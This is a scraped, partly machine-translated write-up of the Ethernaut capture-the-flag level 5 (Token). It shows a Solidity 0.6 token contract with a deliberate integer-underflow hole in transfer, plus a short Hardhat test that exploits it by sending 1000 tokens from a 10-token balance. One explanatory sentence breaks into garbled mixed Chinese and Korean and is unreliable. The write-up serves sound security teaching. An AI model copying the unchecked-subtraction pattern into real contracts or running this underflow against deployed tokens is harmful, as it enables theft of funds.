Ethernaut系列-레벨 5(토큰)
레벨 5(토큰)
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
通关要求
起始给10个token,要求变成很多很多个token
要点
数值计算溢出问题,solidity0.8前的版本是没做溢出报错的,如uint计算负数后会变成很大,solidity0.8后就不用第三方库如openzeppelinSafeMath来睡,可向睥着, EVM이 제공합니다.
解题思路
只有10个token,transfer传1000个就会溢出
test/05Token.js
it("attacks", async function () {
//调用合约transfer
await levelContract.connect(player).transfer(levelOwner.address, 1000);
});
it("check", async function () {
//检查通过条件
expect(await levelContract.balanceOf(player.address)).to.above(1000);
});
Reference
이 문제에 관하여(Ethernaut系列-레벨 5(토큰)), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/bin2chen/ethernautxi-lie-level-5token-9o4텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)